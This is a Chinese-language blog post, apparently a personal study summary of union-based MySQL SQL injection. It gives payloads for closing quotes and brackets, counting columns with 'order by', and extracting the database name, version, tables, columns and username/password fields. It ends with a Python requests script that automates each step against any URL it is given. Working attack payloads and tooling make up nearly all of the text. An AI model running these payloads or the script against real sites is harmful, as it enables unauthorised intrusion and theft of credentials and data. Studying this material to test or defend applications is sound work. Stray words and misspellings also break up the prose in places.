mysql注入總結

前言:看玩mysql注入php

作一篇總結而後去打GTA 5python

正文:mysql

mysql注入與access注入不同。由於數據庫的特性不同
access注入的暴力注入
mysql是有邏輯性的注入
 
首先得判斷是什麼類型,而後嘗尋找注入點
select * from tables where id=$id; #這種狀況下,$id變量多爲數字型 不須要閉合符號,能夠直接注入,但若是系統作了只能傳入數字型的判斷,就沒法注入
select * from tables where id='$id'; #這種狀況下,$id變量多爲字符型 須要閉合單引號,能夠用?id=1'這種形式閉合
select * from tables where id="$id"; #這種狀況下,$id變量多爲字符型 須要閉合雙引號,能夠用?id=1"這種形式閉合
select * from tables where id=($id); #這種狀況下,$id變量多爲數字型 須要閉合括號,能夠用?id=1)這種形式閉合
select * from tables where id=('$id'); #這種狀況下,$id變量多爲字符型 須要同時閉合單引號和括號,能夠用?id=1')這種形式閉合
select * from tables where id=("$id"); #這種狀況下,$id變量多爲字符型 須要同時閉合雙引號和括號,能夠用?id=1")這種形式閉合
select * from tables where id=(('$id')); #這種狀況下,$id變量多爲字符型 須要同時閉合單引號和兩層括號,能夠用?id=1'))這種形式閉合
 
有些語句還有limit子句,如select * from tables where id='$id' limit 0,1;,咱們能夠經過上面提到的方法先閉合單引號,而後用%23,即註釋符註釋掉後面的語句,具體寫法以下:?id=1'%23;便可閉合輸出正確的語句
 
*注:這裏只列舉幾種常見的寫法,能夠結合實際狀況,進行閉合符號,沒有什麼固定的方式,但最終達到一個目的就行了,就是閉合語句中可能有的符號,註釋掉咱們不須要或者可能會限制咱們繼續注入的部分。使得咱們注入這些閉合原有語句的符號後,獲得的語句仍是正確而且可被執行的。
 
尋找注入點:
例子: 例子是數字型就不用閉合了
127.0.0.1/sqlin.php?x=1' 若是返回報錯,則表明又注入點。

 

127.0.0.1/sqlin.php?x=1 and 1=1 頁面返回正常 127.0.0.1/sqlin.php?and 1=2 頁面返回錯誤存在注入點
猜字段長度
127.0.0.1/sqlin.php?x=1 order by 1
127.0.0.1/sqlin.php?x=1 order by 2
127.0.0.1/sqlin.php?x=1 order by 3 直到錯誤的前一個頁面

 

暴顯位
127.0.0.1/sqlin.php?x=1 union select 1,2,3 而後會給出位置

 


 

暴數據庫和版本號
127.0.0.1/sqlin.php?x=1 union select 1,database(),version()
 

 

而後爆出指定數據庫下的全部表名
獲取全部表:infomatation_scheam.tables
指定表名:table_scheam=數據庫的Hex編碼
數據庫名:table_name 用在第一個位
 
語句:union select table_name,2,3 from information_scheam.tables where table_schema=數據庫名轉成Hex編碼的
http://127.0.0.1/sqlin.php?x=1%20union%20select%20table_name,2,3%20from%20information_schema.tables%20where%20table_schema=0x64767761

 

若是不加table_scheam指定數據庫的話,直接informatation_scheam.tables。會爆出全部表名

 

爆列名 
union select column_name,2,3 from information_schema.columns

 

爆指定的列名
union select column_name,2,3 from information_schema.columns where table_name=指定字段的Hex編碼

 

讀取指定列內容
union select 你指定的列名 from 你指定的表名

 

例子:
union select username,password from user
 ------------------------
python構造sql注入腳本
import requests
def ljw():
    global url,rse,headers
    url=input('請輸入你要進行測試的url:')
    a='%20and%201=1'
    al=url+a
    b='%20and%201=2'
    bl=url+b
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'}
    rse=requests.get(url,headers=headers).content
    and1=requests.get(al,headers=headers).content
    and2=requests.get(bl,headers=headers).content
    print(al)
    print(bl)
    if rse==and1 and rse!=and2:
        print('[+]存在SQL注入')
    else:
        print('[-]不存在sql注入')
        exit()
ljw()

def order():
   global gww
   for i in  range(1,100):
       usdw='%20order%20by%20{}'.format(i)
       wge=url+usdw
       wtq=requests.get(wge,headers=headers).content
       look=requests.get(url,headers=headers).text
       if wtq!=look:
           lps=usdw[16]
           gww=int(lps)-1
           livs=usdw.replace(usdw[16],str(gww))
           print('[+]字段長度爲',gww)
           print('[+]字段長度:',url+livs)
           break
order()

def xwei():
  global xc,fgk
  ofw=gww+1
  wtws=range(1,ofw)
  owg=list(wtws)
  pot=",".join(str(i)for i in owg)
  xc='%20union%20select%20{}'.format(pot)
  fgk=url+xc
  print('[+]爆顯位')
  opr=requests.get(fgk,headers=headers)
  print('[+]Http狀態碼:',opr.status_code)
  print('[+]請讀取顯位:',opr.url)
xwei()

def huoqu():
    liwd=input('請輸入顯位的位置:')
    liwd2=input('請輸入第二個顯位的位置或跳過:')
    print('database() 獲取數據庫名')
    print('version() 獲取數據庫版本')
    gsc=input('請輸入要獲取的函數:')
    gsc2=input('請輸入你要獲取的函數:')
    hw=xc.replace('%20',' ')
    posw=hw.replace(liwd,gsc)
    lk=posw.replace(liwd2,gsc2)
    gwd=lk.replace(' ','%20')
    usc=url+gwd
    kiv=requests.get(usc,headers=headers)
    print('[+]狀態碼:',kiv.status_code)
    print('[+]獲取的數據:',kiv.url)
huoqu()

def htbale():
    print('爆數據庫下全部的表')
    wdf=fgk.replace('1','table_name')
    ko=wdf+'%20from%20information_schema.tables'
    dw=requests.get(ko,headers=headers)
    print('[+]狀態碼:',dw.status_code)
    print('[+]獲取全部表的:',dw.url)
htbale()

def lisrw():
    print('[+]爆出全部列')
    wdf=fgk.replace('1','%20column_name')
    gw=wdf+'%20from%20information_schema.columns'
    sdw=requests.get(gw,headers=headers)
    print('[+]狀態碼:',sdw.status_code)
    print('[+]全部列的:',sdw.url)
lisrw()

  

運行圖:
相關文章
相關標籤/搜索